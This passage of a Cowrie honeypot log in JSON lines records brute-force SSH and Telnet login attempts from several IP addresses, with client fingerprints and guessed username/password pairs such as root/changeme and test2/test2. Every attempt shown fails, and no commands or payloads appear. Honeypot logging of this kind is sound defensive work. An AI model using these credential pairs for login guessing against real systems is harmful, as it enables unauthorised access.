0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:13.735832Z","src_ip":"45.156.87.204","session":"839562a06901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:13.984512Z","src_ip":"45.156.87.204","session":"839562a06901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:15.119169Z","src_ip":"45.156.87.204","session":"839562a06901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":43356,"dst_ip":"10.17.0.5","dst_port":22,"session":"a726081ab256","protocol":"ssh","message":"New connection: 89.108.118.91:43356 (10.17.0.5:22) [session: a726081ab256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:15.217575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:15.247673Z","src_ip":"89.108.118.91","session":"a726081ab256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:15.362899Z","src_ip":"89.108.118.91","session":"a726081ab256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345as","message":"login attempt [root/12345as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:15.922011Z","src_ip":"89.108.118.91","session":"a726081ab256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50330,"dst_ip":"159.203.135.109","dst_port":22,"session":"f10fc7a731e5","protocol":"ssh","message":"New connection: 45.156.87.204:50330 (159.203.135.109:22) [session: f10fc7a731e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:17.066970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:17.071637Z","src_ip":"45.156.87.204","session":"f10fc7a731e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:17.075616Z","src_ip":"89.108.118.91","session":"a726081ab256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:17.192491Z","src_ip":"45.156.87.204","session":"f10fc7a731e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:17.654224Z","src_ip":"45.156.87.204","session":"f10fc7a731e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":49428,"dst_ip":"159.203.135.109","dst_port":22,"session":"78ae92760834","protocol":"ssh","message":"New connection: 42.200.78.78:49428 (159.203.135.109:22) [session: 78ae92760834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:17.959460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:17.964485Z","src_ip":"42.200.78.78","session":"78ae92760834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:18.180086Z","src_ip":"42.200.78.78","session":"78ae92760834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:18.739400Z","src_ip":"45.156.87.204","session":"f10fc7a731e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epadmin","password":"epadmin","message":"login attempt [epadmin/epadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:19.069944Z","src_ip":"42.200.78.78","session":"78ae92760834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:20.288702Z","src_ip":"42.200.78.78","session":"78ae92760834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50346,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2d55ace890","protocol":"ssh","message":"New connection: 45.156.87.204:50346 (159.203.135.109:22) [session: 8b2d55ace890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:20.833943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:20.839870Z","src_ip":"45.156.87.204","session":"8b2d55ace890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:20.922816Z","src_ip":"45.156.87.204","session":"8b2d55ace890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:21.170799Z","src_ip":"45.156.87.204","session":"8b2d55ace890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59746,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e6914dac2e0","protocol":"telnet","message":"New connection: 152.42.224.71:59746 (10.17.0.5:23) [session: 3e6914dac2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:21.684738Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:22.255434Z","src_ip":"45.156.87.204","session":"8b2d55ace890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":53508,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f7985a9e24","protocol":"ssh","message":"New connection: 109.172.54.111:53508 (10.17.0.5:22) [session: 08f7985a9e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:22.834442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:22.838872Z","src_ip":"109.172.54.111","session":"08f7985a9e24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:22.935978Z","src_ip":"109.172.54.111","session":"08f7985a9e24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex","message":"login attempt [root/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:23.290932Z","src_ip":"109.172.54.111","session":"08f7985a9e24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50344,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd931debfa44","protocol":"ssh","message":"New connection: 45.156.87.204:50344 (159.203.135.109:22) [session: dd931debfa44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:24.291063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:24.294716Z","src_ip":"45.156.87.204","session":"dd931debfa44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:24.377217Z","src_ip":"45.156.87.204","session":"dd931debfa44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:24.391473Z","src_ip":"109.172.54.111","session":"08f7985a9e24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:24.625131Z","src_ip":"45.156.87.204","session":"dd931debfa44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.811490297317505,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:24.768242Z","src_ip":"152.42.224.71","session":"242bc9384be0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:25.711125Z","src_ip":"45.156.87.204","session":"dd931debfa44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":47056,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7238e0e6ad0","protocol":"ssh","message":"New connection: 83.111.76.195:47056 (159.203.135.109:22) [session: c7238e0e6ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:26.206546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:26.214298Z","src_ip":"83.111.76.195","session":"c7238e0e6ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35238,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f142899643e","protocol":"telnet","message":"New connection: 152.42.224.71:35238 (10.17.0.5:23) [session: 8f142899643e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:26.262950Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:26.412886Z","src_ip":"83.111.76.195","session":"c7238e0e6ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"1234","message":"login attempt [sinusbot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:27.243809Z","src_ip":"83.111.76.195","session":"c7238e0e6ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50350,"dst_ip":"159.203.135.109","dst_port":22,"session":"e728687e9006","protocol":"ssh","message":"New connection: 45.156.87.204:50350 (159.203.135.109:22) [session: e728687e9006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:28.193643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:28.198177Z","src_ip":"45.156.87.204","session":"e728687e9006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:28.280336Z","src_ip":"45.156.87.204","session":"e728687e9006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:28.445768Z","src_ip":"83.111.76.195","session":"c7238e0e6ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:28.644952Z","src_ip":"45.156.87.204","session":"e728687e9006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:29.729064Z","src_ip":"45.156.87.204","session":"e728687e9006","protocol":"ssh"}
